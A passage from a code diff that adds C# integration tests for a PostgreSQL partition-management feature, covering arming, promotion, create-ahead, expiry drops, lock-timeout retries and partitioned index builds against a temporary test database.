+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var validator = await OpenStoreAsync(scratch, ct);
+        await using var writer = await OpenSecondAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+
+        await QueryStoreIntervalPartitions.ArmAsync(validator, Wide, now, logger, ct);
+        await InsertAsync(validator, Wide, Today.AddHours(5), 1, ct);
+
+        /* The validate's own statement, left open: its lock is held until the transaction ends, so an upsert from the
+           other connection either proceeds (SHARE UPDATE EXCLUSIVE) or fails on the writer's own 2 s lock_timeout. */
+        await using (var transaction = await validator.BeginTransactionAsync(ct))
+        {
+            await using (var validate = new NpgsqlCommand(QueryStoreIntervalPartitions.ValidateSql(Wide), validator, transaction))
+            {
+                await validate.ExecuteNonQueryAsync(ct);
+            }
+
+            Assert.Equal("ShareUpdateExclusiveLock", (string)(await ScalarAsync(writer,
+                $"SELECT mode FROM pg_locks WHERE locktype = 'relation' AND relation = '{Wide.Legacy}'::regclass AND mode = 'ShareUpdateExclusiveLock' LIMIT 1", ct))!);
+
+            await ExecAsync(writer, "SET lock_timeout = '2s'", ct);
+            var upsert = $@"
+INSERT INTO collect.query_store_interval_wide
+    (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id)
+VALUES (now() AT TIME ZONE 'UTC', 1, 'db', 1, 1, 'Regular', '{Lit(Today.AddHours(5))}', now() AT TIME ZONE 'UTC', 'select 1', 7, 1000, 1)
+ON CONFLICT (server_id, database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time, execution_type_desc)
+DO UPDATE SET execution_count = EXCLUDED.execution_count;";
+            await ExecAsync(writer, upsert, ct);
+            await InsertAsync(writer, Wide, Today.AddHours(6), 2, ct);
+            await transaction.CommitAsync(ct);
+        }
+
+        Assert.Equal(7L, await CountAsync(validator, $"SELECT execution_count FROM {Wide.Parent} WHERE query_id = 1", ct));
+        Assert.Equal(2L, await CountAsync(validator, $"SELECT count(*) FROM {Wide.Parent}", ct));
+        Assert.True((await QueryStoreIntervalPartitions.ReadStateAsync(validator, Wide, ct)).CheckValid);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.PromoteAsync(validator, Wide, now, logger, ct)).Outcome);
+        Assert.Equal(2L, await CountAsync(validator, $"SELECT count(*) FROM {Wide.Legacy}", ct));
+    }
+
+    [Fact]
+    public async Task APromotionWithAParentIndexThatLacksALegacyChild_IsRefusedAndRolledBack()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, ct);
+        await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct);
+
+        /* An ON ONLY parent index: INVALID, no child anywhere. Attaching legacy under the bound would build it on legacy's heap. */
+        await ExecAsync(connection, $"CREATE INDEX ix_a2_probe ON ONLY {Wide.Parent} (server_id, plan_id)", ct);
+        var refused = await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Refused, refused.Outcome);
+        Assert.Contains("ix_a2_probe", refused.Detail, StringComparison.Ordinal);
+        Assert.True(logger.Has(LogLevel.Warning, "ix_a2_probe"));
+
+        /* State unchanged: legacy still unbounded, no daily partition, no DEFAULT, legacy still attached. */
+        var state = await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct);
+        Assert.False(state.Promoted);
+        Assert.True(state.LegacyUnbounded);
+        Assert.False(state.DefaultExists);
+        var partitions = await PartitionsAsync(connection, Wide, ct);
+        Assert.Single(partitions);
+        Assert.Equal(Wide.Legacy, partitions[0].Name);
+
+        /* Give legacy its child and attach it: the same call now promotes. */
+        await ExecAsync(connection, $"CREATE INDEX ix_a2_probe_legacy ON {Wide.Legacy} (server_id, plan_id)", ct);
+        await ExecAsync(connection, "ALTER INDEX collect.ix_a2_probe ATTACH PARTITION collect.ix_a2_probe_legacy", ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct)).Outcome);
+        Assert.True((await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct)).Promoted);
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM pg_index WHERE indrelid = '{Wide.Parent}'::regclass AND NOT indisvalid", ct));
+    }
+
+    [Fact]
+    public async Task ARowAtOrAfterS_IsRefusedBeforePromotion_AndWritesThroughAfter()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+        var s = Today.AddDays(2);
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, ct);
+
+        /* Armed and not valid yet: a row one microsecond before S goes in, a row at S is refused with 23514. */
+        await InsertAsync(connection, Wide, s.AddTicks(-10), 1, ct);
+        var refused = await Assert.ThrowsAsync<PostgresException>(() => InsertAsync(connection, Wide, s, 2, ct));
+        Assert.Equal(PostgresErrorCodes.CheckViolation, refused.SqlState);
+        await Assert.ThrowsAsync<PostgresException>(() => InsertAsync(connection, Wide, s.AddDays(1), 3, ct));
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM {Wide.Parent}", ct));
+
+        /* The latest table, which was not armed, takes the same row (the bound is per table). */
+        await InsertAsync(connection, Latest, s, 2, ct);
+
+        await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct);
+        await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct);
+
+        /* After promotion the same insert writes through, into its own day. */
+        await InsertAsync(connection, Wide, s, 2, ct);
+        Assert.Equal(Wide.DayPartition(s), await PartitionOfAsync(connection, Wide, 2, ct));
+        Assert.Equal(Wide.Legacy, await PartitionOfAsync(connection, Wide, 1, ct));
+    }
+
+    [Fact]
+    public async Task CreateAhead_LeavesDefaultEmpty_AndDrainsADefaultRowIntoTheNewDay()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+        await PromoteWholeAsync(connection, Wide, now, logger, ct);
+
+        /* Nothing to create the day it was promoted; DEFAULT is empty. */
+        var again = await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, again.Outcome);
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {Wide.Default}", ct));
+
+        /* Two days past the last partition: they land in DEFAULT. */
+        var far = Today.AddDays(5);
+        await InsertAsync(connection, Wide, far.AddHours(7), 10, ct);
+        await InsertAsync(connection, Wide, far.AddDays(1).AddTicks(-10), 11, ct);
+        await InsertAsync(connection, Wide, far.AddDays(1), 12, ct);
+        Assert.Equal(Wide.Default, await PartitionOfAsync(connection, Wide, 10, ct));
+        Assert.Equal(3L, await CountAsync(connection, $"SELECT count(*) FROM {Wide.Default}", ct));
+
+        /* Three days later the clock reaches them: today+3 becomes today+6, so the days of the rows are created, each
+           draining its rows from DEFAULT in the same transaction (the attach would otherwise fail on them). */
+        var result = await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, now.AddDays(3), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, result.Outcome);
+        Assert.Equal(3, result.Count);
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {Wide.Default}", ct));
+        Assert.Equal(Wide.DayPartition(far), await PartitionOfAsync(connection, Wide, 10, ct));
+        Assert.Equal(Wide.DayPartition(far), await PartitionOfAsync(connection, Wide, 11, ct));
+        Assert.Equal(Wide.DayPartition(far.AddDays(1)), await PartitionOfAsync(connection, Wide, 12, ct));
+        Assert.Equal(3L, await CountAsync(connection, $"SELECT count(*) FROM {Wide.Parent}", ct));
+        Assert.True(logger.Has(LogLevel.Warning, "out of DEFAULT"));
+
+        /* No holes: the day partitions run unbroken from S to today + 6. */
+        var days = (await PartitionsAsync(connection, Wide, ct)).Where(p => p.Lower.HasValue && p.Upper.HasValue).OrderBy(p => p.Lower).ToList();
+        Assert.Equal(Today.AddDays(2), days.First().Lower);
+        Assert.Equal(Today.AddDays(6).AddDays(1), days.Last().Upper);
+        for (var i = 1; i < days.Count; i++)
+        {
+            Assert.Equal(days[i - 1].Upper, days[i].Lower);
+        }
+
+        /* An outage: three days with no step at all, then one catch-up pass, makes every missed day. */
+        var catchUp = await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, now.AddDays(9), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, catchUp.Outcome);
+        Assert.Equal(6, catchUp.Count);
+        Assert.Equal(Today.AddDays(13), (await PartitionsAsync(connection, Wide, ct)).Where(p => p.Upper.HasValue).Max(p => p.Upper));
+    }
+
+    [Fact]
+    public async Task ANewDayPartition_KeepsFillfactorFifty_AndTheUpdatesStayHot()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+        await PromoteWholeAsync(connection, Wide, now, logger, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, now.AddDays(1), logger, ct);
+
+        var created = Wide.DayPartition(Today.AddDays(4));
+        Assert.Equal("{fillfactor=50}", (await ScalarAsync(connection, $"SELECT reloptions::text FROM pg_class WHERE oid = '{created}'::regclass", ct))!.ToString());
+
+        /* The writer's upsert never assigns an indexed column, so an update is HOT when the page has room: fillfactor 50 leaves it. */
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+        for (var i = 0; i < 20; i++)
+        {
+            await InsertAsync(connection, Wide, Today.AddDays(4).AddHours(1).AddSeconds(i), 100 + i, ct);
+        }
+
+        await ExecAsync(connection, $"UPDATE {Wide.Parent} SET execution_count = execution_count + 1, collection_time = collection_time + interval '1 second' WHERE query_id >= 100", ct);
+        Assert.Equal(20L, await CountAsync(connection, $"SELECT pg_stat_get_xact_tuples_updated('{created}'::regclass)", ct));
+        Assert.Equal(20L, await CountAsync(connection, $"SELECT pg_stat_get_xact_tuples_hot_updated('{created}'::regclass)", ct));
+        await transaction.RollbackAsync(ct);
+    }
+
+    [Fact]
+    public async Task TheLatestTablesTrigger_FiresForARowInADayPartition()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+
+        /* Promoted ten days ago, then created ahead to today: the day partitions cover the trigger's window
+           (a day more than one and fewer than seventeen old). */
+        await PromoteWholeAsync(connection, Latest, now.AddDays(-10), logger, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Latest, now, logger, ct);
+
+        var day = Today.AddDays(-4);
+        var partition = Latest.DayPartition(day);
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM pg_trigger WHERE tgrelid = '{partition}'::regclass AND tgname = 'trg_plan_regression_daily_late' AND tgparentid <> 0", ct));
+        Assert.Equal(0L, await CountAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily_built", ct));
+
+        await InsertAsync(connection, Latest, day.AddHours(12), 1, ct);
+        Assert.Equal(partition, await PartitionOfAsync(connection, Latest, 1, ct));
+
+        /* The trigger bumped the built row for the row's day and the next one. */
+        Assert.Equal(2L, await CountAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily_built WHERE server_id = 1", ct));
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = '{day:yyyy-MM-dd}'", ct));
+    }
+
+    [Fact]
+    public async Task DropExpired_TakesWholeExpiredDays_KeepsAPartialOne_AndDropsLegacyOnlyOnceBounded()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = new DateTime(2026, 10, 8, 14, 55, 30, DateTimeKind.Utc);
+
+        /* Promoted twelve days ago: legacy is bounded at the 28th of September; days from there on exist after create-ahead. */
+        var promotedAt = now.AddDays(-12);
+        await PromoteWholeAsync(connection, Wide, promotedAt, logger, ct);
+        Assert.Equal(new DateTime(2026, 9, 28), (await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct)).LegacyUpper);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, now, logger, ct);
+
+        /* Rows: legacy (before S), day 9-28 (whole day expired by 10-08), day 9-29 (ends 9-30 00:00; the cutoff is 9-29 14:55 on 10-08, so it is a partial day). */
+        await InsertAsync(connection, Wide, new DateTime(2026, 9, 20), 1, ct);
+        await InsertAsync(connection, Wide, new DateTime(2026, 9, 28, 23, 59, 59).AddTicks(9999990), 2, ct);
+        await InsertAsync(connection, Wide, new DateTime(2026, 9, 29, 0, 0, 0), 3, ct);
+        await InsertAsync(connection, Wide, new DateTime(2026, 9, 29, 23, 59, 59).AddTicks(9999990), 4, ct);
+        await InsertAsync(connection, Wide, new DateTime(2026, 9, 30, 0, 0, 0), 5, ct);
+        Assert.Equal(Wide.Legacy, await PartitionOfAsync(connection, Wide, 1, ct));
+        Assert.Equal(Wide.DayPartition(new DateTime(2026, 9, 28)), await PartitionOfAsync(connection, Wide, 2, ct));
+        Assert.Equal(Wide.DayPartition(new DateTime(2026, 9, 29)), await PartitionOfAsync(connection, Wide, 3, ct));
+        Assert.Equal(Wide.DayPartition(new DateTime(2026, 9, 29)), await PartitionOfAsync(connection, Wide, 4, ct));
+        Assert.Equal(Wide.DayPartition(new DateTime(2026, 9, 30)), await PartitionOfAsync(connection, Wide, 5, ct));
+
+        /* The 9-29 day's upper bound is 9-30 00:00; it equals the cutoff when now is 10-09 00:00. One microsecond earlier it is still partial. */
+        var edge = new DateTime(2026, 10, 9, 0, 0, 0, DateTimeKind.Utc);
+        var early = await QueryStoreIntervalPartitions.DropExpiredAsync(connection, Wide, edge.AddTicks(-10), logger, ct);
+        Assert.Equal(2, early.Count);
+
+        /* Dropped: legacy (S 9-28 <= cutoff) and the whole 9-28 day; the straddling 9-29 day stays. */
+        var names = (await PartitionsAsync(connection, Wide, ct)).Select(p => p.Name).ToList();
+        Assert.DoesNotContain(Wide.Legacy, names);
+        Assert.DoesNotContain(Wide.DayPartition(new DateTime(2026, 9, 28)), names);
+        Assert.Contains(Wide.DayPartition(new DateTime(2026, 9, 29)), names);
+        Assert.Contains(Wide.Default, names);
+        Assert.Equal(3L, await CountAsync(connection, $"SELECT count(*) FROM {Wide.Parent}", ct));
+
+        /* Exactly at the cutoff the 9-29 day is whole-expired (its upper bound <= cutoff). */
+        var exact = await QueryStoreIntervalPartitions.DropExpiredAsync(connection, Wide, edge, logger, ct);
+        Assert.Equal(1, exact.Count);
+        Assert.DoesNotContain(Wide.DayPartition(new DateTime(2026, 9, 29)), (await PartitionsAsync(connection, Wide, ct)).Select(p => p.Name));
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM {Wide.Parent}", ct));
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.DropExpiredAsync(connection, Wide, edge, logger, ct)).Outcome);
+
+        /* A store promoted only five days ago keeps its legacy table (S = 10-05 > cutoff 9-29), until S is old enough. */
+        var second = Latest;
+        await PromoteWholeAsync(connection, second, now.AddDays(-5), logger, ct);
+        await InsertAsync(connection, second, new DateTime(2026, 10, 1), 1, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.DropExpiredAsync(connection, second, now, logger, ct)).Outcome);
+        Assert.Equal(second.Legacy, await PartitionOfAsync(connection, second, 1, ct));
+        var late = await QueryStoreIntervalPartitions.DropExpiredAsync(connection, second, new DateTime(2026, 10, 20, 0, 0, 0, DateTimeKind.Utc), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, late.Outcome);
+        Assert.Equal(1, late.Count);
+        Assert.DoesNotContain(second.Legacy, (await PartitionsAsync(connection, second, ct)).Select(p => p.Name));
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM {second.Parent}", ct));
+    }
+
+    [Fact]
+    public async Task ALockTimeout_IsRetryLaterNotAnError_AndChangesNothing()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenSecondAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+
+        /* Arm: a reader holding the legacy table blocks the ACCESS EXCLUSIVE ADD CONSTRAINT through every retry. */
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Legacy} IN ACCESS SHARE MODE", ct);
+            var armed = await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, TimeSpan.FromMilliseconds(100), ct);
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, armed.Outcome);
+            Assert.False((await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct)).CheckPresent);
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        /* Validate: SHARE UPDATE EXCLUSIVE conflicts with itself (an autovacuum, a concurrent index build). */
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Legacy} IN SHARE UPDATE EXCLUSIVE MODE", ct);
+            var validated = await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct);
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, validated.Outcome);
+            Assert.False((await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct)).CheckValid);
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        /* Promote: a reader of the parent blocks the ACCESS EXCLUSIVE LOCK; the transaction rolls back untouched. */
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Parent} IN ACCESS SHARE MODE", ct);
+            var promoted = await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct);
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, promoted.Outcome);
+            var state = await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct);
+            Assert.True(state.LegacyUnbounded);
+            Assert.False(state.DefaultExists);
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        /* Drop: a reader of the parent blocks the DROP; the partition stays and the step says retry later. */
+        var expiredNow = now.AddDays(40);
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Parent} IN ACCESS SHARE MODE", ct);
+            var dropped = await QueryStoreIntervalPartitions.DropExpiredAsync(connection, Wide, expiredNow, logger, ct);
+            Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, dropped.Outcome);
+            Assert.Contains(Wide.Legacy, (await PartitionsAsync(connection, Wide, ct)).Select(p => p.Name));
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.DropExpiredAsync(connection, Wide, expiredNow, logger, ct)).Outcome);
+    }
+
+    [Fact]
+    public async Task AnalyzeIfDue_RunsOnceADay_AndGivesTheParentStatistics()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+        await PromoteWholeAsync(connection, Wide, now, logger, ct);
+        for (var i = 0; i < 30; i++)
+        {
+            await InsertAsync(connection, Wide, Today.AddDays(2).AddMinutes(i), i, ct);
+        }
+
+        /* The promotion analyzed the parent a moment ago, and the parent's last_analyze is tracked, so a call now is not due. */
+        await ExecAsync(connection, "SELECT pg_stat_force_next_flush()", ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.AnalyzeIfDueAsync(connection, Wide, now, logger, ct)).Outcome);
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalPartitions.AnalyzeIfDueAsync(connection, Wide, now.AddHours(1), logger, ct)).Outcome);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.AnalyzeIfDueAsync(connection, Wide, now.AddHours(25), logger, ct)).Outcome);
+        /* The parent has column statistics only after an ANALYZE over rows (autovacuum never analyzes a partitioned table). */
+        Assert.True(await CountAsync(connection, "SELECT count(*) FROM pg_stats WHERE schemaname = 'collect' AND tablename = 'query_store_interval_wide' AND attname = 'server_id'", ct) > 0);
+    }
+
+    [Fact]
+    public async Task PhaseC_OnAPartitionedParent_BuildsAndAttachesAChildPerLeaf_AndTheParentEndsValid()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+        var specs = new[] { QueryStoreBackgroundIndexes.WideServerFirstExec, QueryStoreIntervalWideBrinIndex.Spec };
+
+        await PromoteWholeAsync(connection, Wide, now, logger, ct);
+        var leaves = (await PartitionsAsync(connection, Wide, ct)).Count;
+        Assert.Equal(4, leaves);
+        foreach (var spec in specs)
+        {
+            Assert.True((bool)(await ScalarAsync(connection, $"SELECT to_regclass('{spec.IndexName}') IS NULL", ct))!, spec.IndexName);
+        }
+
+        /* Two leftovers: an INVALID child of an interrupted build on one day, and a VALID child nobody attached on another. */
+        var invalidDay = Today.AddDays(2);
+        var unattachedDay = Today.AddDays(3);
+        var invalidChild = $"collect.ix_query_store_interval_wide_server_first_exec_p{invalidDay:yyyyMMdd}";
+        var unattachedChild = $"collect.ix_query_store_interval_wide_server_first_exec_p{unattachedDay:yyyyMMdd}";
+        await ExecAsync(connection, $"CREATE INDEX {invalidChild.Split('.')[1]} ON {Wide.DayPartition(invalidDay)} (server_id, first_execution_time)", ct);
+        await ExecAsync(connection, $"UPDATE pg_index SET indisvalid = false WHERE indexrelid = '{invalidChild}'::regclass", ct);
+        await ExecAsync(connection, $"CREATE INDEX {unattachedChild.Split('.')[1]} ON {Wide.DayPartition(unattachedDay)} (server_id, first_execution_time)", ct);
+        var unattachedOid = await ScalarAsync(connection, $"SELECT '{unattachedChild}'::regclass::oid", ct);
+
+        foreach (var spec in specs)
+        {
+            await QueryStoreBackgroundIndexes.EnsureAsync(connection, spec, logger, ct);
+            Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{spec.IndexName}'::regclass", ct))!, spec.IndexName);
+            Assert.Equal(leaves, await CountAsync(connection, $"SELECT count(*) FROM pg_inherits WHERE inhparent = '{spec.IndexName}'::regclass", ct));
+        }
+
+        Assert.True(logger.Has(LogLevel.Warning, "INVALID"));
+        Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{invalidChild}'::regclass", ct))!);
+        Assert.Equal(unattachedOid, await ScalarAsync(connection, $"SELECT '{unattachedChild}'::regclass::oid", ct));
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM pg_inherits WHERE inhrelid = '{unattachedChild}'::regclass", ct));
+
+        /* A second run changes nothing. */
+        foreach (var spec in specs)
+        {
+            var oid = await ScalarAsync(connection, $"SELECT '{spec.IndexName}'::regclass::oid", ct);
+            await QueryStoreBackgroundIndexes.EnsureAsync(connection, spec, logger, ct);
+            Assert.Equal(oid, await ScalarAsync(connection, $"SELECT '{spec.IndexName}'::regclass::oid", ct));
+        }
+
+        /* A day made afterwards builds its own child on the empty table, so the parent index never goes INVALID. */
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, now.AddDays(2), logger, ct);
+        foreach (var spec in specs)
+        {
+            Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{spec.IndexName}'::regclass", ct))!, spec.IndexName);
+            Assert.Equal(leaves + 2, await CountAsync(connection, $"SELECT count(*) FROM pg_inherits WHERE inhparent = '{spec.IndexName}'::regclass", ct));
+        }
+
+        /* The latest table's btree takes the same path. */
+        await PromoteWholeAsync(connection, Latest, now, logger, ct);
+        await QueryStoreBackgroundIndexes.EnsureAsync(connection, QueryStoreBackgroundIndexes.LatestServerFirstExec, logger, ct);
+        Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName}'::regclass", ct))!);
+    }
+
+    [Fact]
+    public async Task PhaseC_BeforePromotion_LetsThePromotionPass_BecauseLegacyHoldsTheChildren()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+        var now = Now;
+        var specs = new[] { QueryStoreBackgroundIndexes.WideServerFirstExec, QueryStoreIntervalWideBrinIndex.Spec };
+
+        /* Legacy alone: the ON ONLY parent index turns valid once legacy's child is attached. */
+        foreach (var spec in specs)
+        {
+            await QueryStoreBackgroundIndexes.EnsureAsync(connection, spec, logger, ct);
+            Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{spec.IndexName}'::regclass", ct))!, spec.IndexName);
+        }
+
+        /* The re-attach finds each equivalent legacy index and builds nothing, so the pre-check passes and the promotion is done. */
+        var promoted = await PromoteWholeAsync(connection, Wide, now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, promoted.Outcome);
+        foreach (var spec in specs)
+        {
+            Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{spec.IndexName}'::regclass", ct))!, spec.IndexName);
+            Assert.Equal(4L, await CountAsync(connection, $"SELECT count(*) FROM pg_inherits WHERE inhparent = '{spec.IndexName}'::regclass", ct));
+        }
+    }
+
+    [Fact]
+    public async Task ARowRefusedBeforePromotion_TakesTheExistingPendingPath_AndReplaysAfterPromotion()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.");
+        var ct = TestContext.Current.CancellationToken;
+        const int serverId = -5571900;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
